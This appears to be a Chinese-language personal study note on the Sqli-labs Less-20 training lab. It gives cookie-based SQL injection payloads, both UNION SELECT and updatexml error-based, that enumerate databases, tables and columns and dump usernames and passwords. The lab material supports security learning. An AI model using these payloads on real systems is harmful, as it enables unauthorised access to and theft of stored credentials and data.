Sqli-labs-Less-20（笔记）
使用admin登录
1.登录成功之后会显示cookie
2. 登录失败会显示失败信息。
说明我们需要修改Cookie来进行注入，使用burp抓包
在coolie值后面加一个’报错，说明存在注入
查看当前库
Cookie: uname= ’ union select 1,2,database()–+（建议使用#，–+不一定适用）
也可使用Sqli-labs-Less-18中注入的方式（详见Sqli-labs-Less-18）
Cookie: uname= ’ or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and ‘1’='1
查看所有库
Cookie: uname= ’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+
查看security里面所有表
Cookie: uname= ’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
查看users里面所有字段
Cookie: uname= ’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
查看users里面所有账户和密码
Cookie: uname= ’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+
以此类推爆出所有数据。